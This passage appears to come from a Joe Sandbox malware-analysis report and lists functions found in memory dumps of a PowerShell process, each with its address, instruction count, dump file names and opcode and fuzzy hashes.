                                                            • Instruction Fuzzy Hash: 42010831E061849BCB19F768D4444FEBFF5AF9A220F1844ABD8069F396DA708C12C7A5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348E548 Relevance: .0, Instructions: 48COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 278cf6d58ee0e735e50553fc0ce17d76a37d8c3a3cd22b604469df278ba30570
                                                            • Instruction ID: 5352ab354c48e84b6865811fd65705f2a2f618989ecd0df77421ca1eb1100395
                                                            • Opcode Fuzzy Hash: 278cf6d58ee0e735e50553fc0ce17d76a37d8c3a3cd22b604469df278ba30570
                                                            • Instruction Fuzzy Hash: 3A113935204740CFC728DF75D08085ABBF6EF8921532489ADD04A8B7A1CB36F846CB40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348DEA0 Relevance: .0, Instructions: 48COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c558ec50085b1ec9290bd0e7c0d3c5288fdb1a7d97e253f3a8518b88bbd450bb
                                                            • Instruction ID: 98fd27c6667be447514a916e0ad3ecfd020e23794dacaf6e19c15a31e8823260
                                                            • Opcode Fuzzy Hash: c558ec50085b1ec9290bd0e7c0d3c5288fdb1a7d97e253f3a8518b88bbd450bb
                                                            • Instruction Fuzzy Hash: 2F019239B00614CFCB159B74E808AAEBBF5FB89315F04446EE50AD3342DB315905CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348BF20 Relevance: .0, Instructions: 46COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: f0f198f9b2d475f31b1338507e289f7d1cdb078365be1651744f0185e90b58b5
                                                            • Instruction ID: 3d6b4e6db62dcfef4f552f6e76d8910e411ea90ffef75bc8b5c900fb9089709f
                                                            • Opcode Fuzzy Hash: f0f198f9b2d475f31b1338507e289f7d1cdb078365be1651744f0185e90b58b5
                                                            • Instruction Fuzzy Hash: 18F0A4317093911FD7119B799C909BB7FE9DB9A26071840ABF545CB352DAB08C048B60
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0326D01D Relevance: .0, Instructions: 45COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2080860568.000000000326D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0326D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_326d000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 95fe80d6379edca31a0775a77b029768efb8ee4d879b0433e7b5f5674ae4b1a3
                                                            • Instruction ID: f76d3e2e9bd2b65ebf7e5428616b35716986be423ba267395dfab36001ff4a35
                                                            • Opcode Fuzzy Hash: 95fe80d6379edca31a0775a77b029768efb8ee4d879b0433e7b5f5674ae4b1a3
                                                            • Instruction Fuzzy Hash: B901F7316187489AE710CA25CD84767FF9CEF81324F1CC46AEC080A246C279D8C5C6B1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0326D006 Relevance: .0, Instructions: 44COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2080860568.000000000326D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0326D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_326d000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 14046351596e03bde3281358f8deb9870fc2ca71f2b37ddd2f91be10965d4325
                                                            • Instruction ID: f4db05c9abd49a65b435419395a07a52f7b159002352b6aef0d6e3216eb66c4e
                                                            • Opcode Fuzzy Hash: 14046351596e03bde3281358f8deb9870fc2ca71f2b37ddd2f91be10965d4325
                                                            • Instruction Fuzzy Hash: 4001407150E3C49ED7128B25CC94B52BFB4EF43224F1D84CBD8888F2A3C2699889C772
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 034890E0 Relevance: .0, Instructions: 44COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a47a0f3bac41790bf0ee24351bff24c7a453ff8bcd432fc65937b7a85c0504df
                                                            • Instruction ID: 3bb5e45d937d1c8474b8761a67c27408780e422253fbc842586d835fbb3f8190
                                                            • Opcode Fuzzy Hash: a47a0f3bac41790bf0ee24351bff24c7a453ff8bcd432fc65937b7a85c0504df
                                                            • Instruction Fuzzy Hash: 54017B76A086005FD711EB3484583EB7BA5DFC3224F1880ABC9058F392CE385846C7F2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348DC90 Relevance: .0, Instructions: 43COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 7cb8a8609ee5b69a7d4818d40d598f30e7b3c5f2f77b6aac7e1e6b65dc81e76c
                                                            • Instruction ID: 9891bdbbb0617d0a540a985c09922f17855dca48485756cf1dede84cd863e740
                                                            • Opcode Fuzzy Hash: 7cb8a8609ee5b69a7d4818d40d598f30e7b3c5f2f77b6aac7e1e6b65dc81e76c
                                                            • Instruction Fuzzy Hash: FEF02B35A476446F8726F75E6C008FFBB5DDEC72713040067E018CF281DA60484542F9
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348F7C1 Relevance: .0, Instructions: 42COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 0821f2d248c037a054f33f4c5f055ce8c8e18378f29e2bed11d438a051ec82d7
                                                            • Instruction ID: 756a3d0a3bcd0210bfba9778b443b4f21e6a8f8116a9980a2e83e56472be5d6d
                                                            • Opcode Fuzzy Hash: 0821f2d248c037a054f33f4c5f055ce8c8e18378f29e2bed11d438a051ec82d7
                                                            • Instruction Fuzzy Hash: A9112D71D0074A9BCB10EFE4D8405EEBBB5FF99310F24571BE011AA649EBB0659ACB84
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03487940 Relevance: .0, Instructions: 40COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: eddb708699d57ec9eaa30b7ed1ee81214083acad5821f6f4d9edbe2af19f1ee2
                                                            • Instruction ID: d7825c9e21bd80de037a048b55c4520c0b3b7fbecfd6fb70fc4fe4966a796fe6
                                                            • Opcode Fuzzy Hash: eddb708699d57ec9eaa30b7ed1ee81214083acad5821f6f4d9edbe2af19f1ee2
                                                            • Instruction Fuzzy Hash: F2F046312053448FC311D764D84496F7FF6EF8A121704059ED049CB361CAB05C49C361
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348CB62 Relevance: .0, Instructions: 38COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 09b6d56ea91125d34e33892f7442a9a180fef6637f0063300b15365311bb0016
                                                            • Instruction ID: 88110d6dbbf77bda5794f01f1b4473593b8d32e82921cf9fa591a0fd18e33fa5
                                                            • Opcode Fuzzy Hash: 09b6d56ea91125d34e33892f7442a9a180fef6637f0063300b15365311bb0016
                                                            • Instruction Fuzzy Hash: 06F024302497800FC316E339588046EAFAADEC712031906BFC19ACF732CB344C4A8B32
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0326D9A7 Relevance: .0, Instructions: 37COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2080860568.000000000326D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0326D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_326d000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a32c36646ec719149b5840090cbc102bbe5fd9859fde297b9fb6d0839ed467ac
                                                            • Instruction ID: 625cb63feeb77903948aa4dcc17ae38fc6ac62d1ac095bdc3d181d6895c0b026
                                                            • Opcode Fuzzy Hash: a32c36646ec719149b5840090cbc102bbe5fd9859fde297b9fb6d0839ed467ac
                                                            • Instruction Fuzzy Hash: EBF0E776610604AFD720CF0AD985C22FBA9EFD4670719C55AE84A8B611C671EC81CAA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348DE40 Relevance: .0, Instructions: 35COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 40c26bb1f9640cfbc5cb4085e40a4549786ee3d8e73d589c1ed5ae5ec53cd746
                                                            • Instruction ID: e67e094767953a19c230704d5cab9879ef719923685df588a8bfe2e3bdfcca6c
                                                            • Opcode Fuzzy Hash: 40c26bb1f9640cfbc5cb4085e40a4549786ee3d8e73d589c1ed5ae5ec53cd746
                                                            • Instruction Fuzzy Hash: F5F0BE357046408FC300DB1CD89483ABBF99FDB61132910AAE584CF376CA61DC01CB94
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0326D998 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2080860568.000000000326D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0326D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_326d000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 7140676cd374bc72e03a456db6c93adde6b6bd3c771815227a9a81f742c0310c
                                                            • Instruction ID: fb98e8c7778466368431e69ae503a17005d90566bbe2957b2ae9cab1932f651c
                                                            • Opcode Fuzzy Hash: 7140676cd374bc72e03a456db6c93adde6b6bd3c771815227a9a81f742c0310c
                                                            • Instruction Fuzzy Hash: 44F0F975210A40AFD725CF06CD85D23BBB9EFC5620B198499A84A9B352C671FC82CFA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348F7D0 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4146768647df637205ae4c042998cf098ed22efffbd8ac1f9959e8bdb9e0c9e9
                                                            • Instruction ID: c81085a632a6dfdfb47d7f25762d03d085eacd8b130608367cf1ac177ad6e5df
                                                            • Opcode Fuzzy Hash: 4146768647df637205ae4c042998cf098ed22efffbd8ac1f9959e8bdb9e0c9e9
                                                            • Instruction Fuzzy Hash: 3901E471D1074ADFCB04DFE4D8446EDBBB1FF99300F205B2AE015A6604EBB06696CB80
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348E7A8 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 178512dbddb165459a28ab848996d4145b20e56ac6acd204da2dff125a676f20
                                                            • Instruction ID: 7402c4d2e7c1b14792fbd6da8ce3b23c4ac1e5a8b7e6ec34f566b2e4833b3f8f
                                                            • Opcode Fuzzy Hash: 178512dbddb165459a28ab848996d4145b20e56ac6acd204da2dff125a676f20
                                                            • Instruction Fuzzy Hash: 56E02B31F00305A6AF20E2A95CD04DFFBADD795524F084477E50167341D65125554298
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03487950 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 73a0dd68f6ef0dd43e061e7c8943ce2f4d36891c4e61d4c569ba8e788bb20ee9
                                                            • Instruction ID: 05aa9187211acb8f29ed953ca670185e52223eeca32730dc2bc11824591785c1
                                                            • Opcode Fuzzy Hash: 73a0dd68f6ef0dd43e061e7c8943ce2f4d36891c4e61d4c569ba8e788bb20ee9
                                                            • Instruction Fuzzy Hash: 08F0A7357007149FD710EB5AE844A7FB7EAEB8D661B00056DE109D7350DF70AC458764
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03489160 Relevance: .0, Instructions: 32COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 11d332d9fe1c2064d2d853050a9c55c3c0cb9cc37c24d2e346ffec9f7df8b95f
                                                            • Instruction ID: 584ecfe33c8756b7042a9fdcdf37896931e8d522207b98468e2eeb8b0fd6358b
                                                            • Opcode Fuzzy Hash: 11d332d9fe1c2064d2d853050a9c55c3c0cb9cc37c24d2e346ffec9f7df8b95f
                                                            • Instruction Fuzzy Hash: 50F090359193004FE720DB7894983AA7BA4EB06210F04449ED14ECB292DB3558818750
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 034890F0 Relevance: .0, Instructions: 31COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9b9b8645ae926fce76ba609ca0b3615e00c82488d3842ca659434851c2a4dfb2
                                                            • Instruction ID: fa5eb354675e7c22dea4539922b6fd9138aa888dd1cdb8818b825a3fb69d6baa
                                                            • Opcode Fuzzy Hash: 9b9b8645ae926fce76ba609ca0b3615e00c82488d3842ca659434851c2a4dfb2
                                                            • Instruction Fuzzy Hash: FBF027796142044BD700EB65D0583AFB7A6DFC1729F10813EDA194B389CE796842CBF1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348767F Relevance: .0, Instructions: 31COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e01a417ff32f763b4eaf1b0347fa429e26a2d6e9aadaa33fbaa325ca3c249bc0
                                                            • Instruction ID: cb87bceeaaebb4b37fbdd27d032508581bf06b70d7b026baef8ee070366a3577
                                                            • Opcode Fuzzy Hash: e01a417ff32f763b4eaf1b0347fa429e26a2d6e9aadaa33fbaa325ca3c249bc0
                                                            • Instruction Fuzzy Hash: D7F0A7393002058FCB00EB5C995069E7BE6EBCC7657194596E50ADF324DE34CC428B90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03489549 Relevance: .0, Instructions: 31COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 1e24e6317b4095d444a75bc07151d296df5d57e4541d9a2c012956f5360368df
                                                            • Instruction ID: c156dcd16ab4cbea7720cca0c294ae52e103c8544a4dc32aef63c7ddfc642b0b
                                                            • Opcode Fuzzy Hash: 1e24e6317b4095d444a75bc07151d296df5d57e4541d9a2c012956f5360368df
                                                            • Instruction Fuzzy Hash: 55E092177067555E8AA5F3BA481427FA6CD9AC64B178C427B8919EF38ADE01CC0283BD
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03488969 Relevance: .0, Instructions: 30COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 6b1e5080f0c50970c1cd245caa2b17351c774dc1ca55408ee54d2fc21c91ff50
                                                            • Instruction ID: 739e4850b48b70ea74b3c43fbe8990ac86fcfd4e33366f1d20e73d8b3c2a4b04
                                                            • Opcode Fuzzy Hash: 6b1e5080f0c50970c1cd245caa2b17351c774dc1ca55408ee54d2fc21c91ff50
                                                            • Instruction Fuzzy Hash: F3F0A7397183905FCB0ABB74A41826D3F65DFC6629F05409FE6068B243CF694816C3D5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348DE50 Relevance: .0, Instructions: 30COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e3f0d93d8c8c1eb49685486bc20a40e54230a0b36e9b11fbca29983925a8df00
                                                            • Instruction ID: 175604534c345a79204d5e05a77fb34f26a8773836ac090362c80934ca326ead
                                                            • Opcode Fuzzy Hash: e3f0d93d8c8c1eb49685486bc20a40e54230a0b36e9b11fbca29983925a8df00
                                                            • Instruction Fuzzy Hash: 06E065357005048F8300EB1DD488C2AB7EAEFDE62132A00AAE949CB334CA61EC01CB94
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348E92E Relevance: .0, Instructions: 29COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 0156dfa863a0e1d800aadadc872c85ad3069fb7eb8ccc31325f2d62c6c2d4561
                                                            • Instruction ID: 62ed728b36b02df1282e9334f4809bd35ad5878a7ea4356daffb9fc7b94dfdc0
                                                            • Opcode Fuzzy Hash: 0156dfa863a0e1d800aadadc872c85ad3069fb7eb8ccc31325f2d62c6c2d4561
                                                            • Instruction Fuzzy Hash: 62F05B39A021149FCB00DF98E58599DFBB2FB48215B158556F905A7355CB31ED05CF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348AF98 Relevance: .0, Instructions: 29COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 8883b4eaba9bd72db9dd6df44e44d223f1054d03900b23aac2ba075271102c9a
                                                            • Instruction ID: 207422197554401f8e0ca881098e28d876ac63a278c11df3e6a74613042c9f05
                                                            • Opcode Fuzzy Hash: 8883b4eaba9bd72db9dd6df44e44d223f1054d03900b23aac2ba075271102c9a
                                                            • Instruction Fuzzy Hash: C9E092657083910BCB2AE32A581406BBB6B4EC303030C44FBA344CF346D89198464358
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348CB78 Relevance: .0, Instructions: 27COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 0e2796e46fffe42cbfbca9c1729be09d4858436465c8d433e3a24ef679a2813f
                                                            • Instruction ID: 6c205992a6462f8dc0a6cc56b52ebf76f98371857763d0c78f4da6bfeddb7836
                                                            • Opcode Fuzzy Hash: 0e2796e46fffe42cbfbca9c1729be09d4858436465c8d433e3a24ef679a2813f
                                                            • Instruction Fuzzy Hash: 56E0DF312046001B8218E26EAC8092EB68ADFC8160394893DC21E8B728DE71AC8A57B1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03489170 Relevance: .0, Instructions: 25COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 0c082f9eeac7988ecb4d6089b5a78748bf987c0ee6cf2bb19cc3c6b13f7b6a75
                                                            • Instruction ID: d7a00067b04a450e95845ba44d1149607486f56b6c7b8dda9e83f972a5558c72
                                                            • Opcode Fuzzy Hash: 0c082f9eeac7988ecb4d6089b5a78748bf987c0ee6cf2bb19cc3c6b13f7b6a75
                                                            • Instruction Fuzzy Hash: 44F06D749103044BD760DF78E49C39BBBE9EB44310F00442EE25EC7341DB39A881CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03488739 Relevance: .0, Instructions: 25COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 1dce277296b0f8de0a4f4e8d0bb4f8272b8d0f4a02927ce7d257860b5e683b1f
                                                            • Instruction ID: e737a7d91bd267c84a217556db6599b1c1da093430de7ae926f0ac6223960773
                                                            • Opcode Fuzzy Hash: 1dce277296b0f8de0a4f4e8d0bb4f8272b8d0f4a02927ce7d257860b5e683b1f
                                                            • Instruction Fuzzy Hash: ADE0D834814119CBCF19FBB8EC494BE7F34EA01200B4441EFE51396297DB30559ACBC5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348C590 Relevance: .0, Instructions: 24COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 3133cd9fe12343f0a3acdfd0249acc67402bc6ffec3b665ed4d01b087252f269
                                                            • Instruction ID: aa193e18c3d1d372d25d5a0363b612c4daf816be34d329de664c36c3f693194f
                                                            • Opcode Fuzzy Hash: 3133cd9fe12343f0a3acdfd0249acc67402bc6ffec3b665ed4d01b087252f269
                                                            • Instruction Fuzzy Hash: CBE068393043201B8300E71CA844418BB98EFD6311308007FE549C7361CB149C4587E0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03488978 Relevance: .0, Instructions: 24COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 39574257dfbba710cde259039f2889502dc511734ecc819f620bb83f03459265
                                                            • Instruction ID: 3dadb505848f532bb7d1880ac80e68fadb812c4f51548e5435ee2c84c1360bb2
                                                            • Opcode Fuzzy Hash: 39574257dfbba710cde259039f2889502dc511734ecc819f620bb83f03459265
                                                            • Instruction Fuzzy Hash: C3E0DF3932421057CB08B779A40C2AE7A56EBC4728F00402FE70A87346CF78581283D9
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03489558 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 966a0689e5d78da4974961ff71c8da21fbf57b1bf29a6dae7c4d9d75fac62802
                                                            • Instruction ID: d139ccd6482e64d4fc06ee97f2e7427df97f54141f18fa25237501eb9cd68b41
                                                            • Opcode Fuzzy Hash: 966a0689e5d78da4974961ff71c8da21fbf57b1bf29a6dae7c4d9d75fac62802
                                                            • Instruction Fuzzy Hash: 7CD05E177423251F8994F2AB18046BFA1CEDAC54A1789043F9E05EF349EE40CC0103F9
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03488800 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
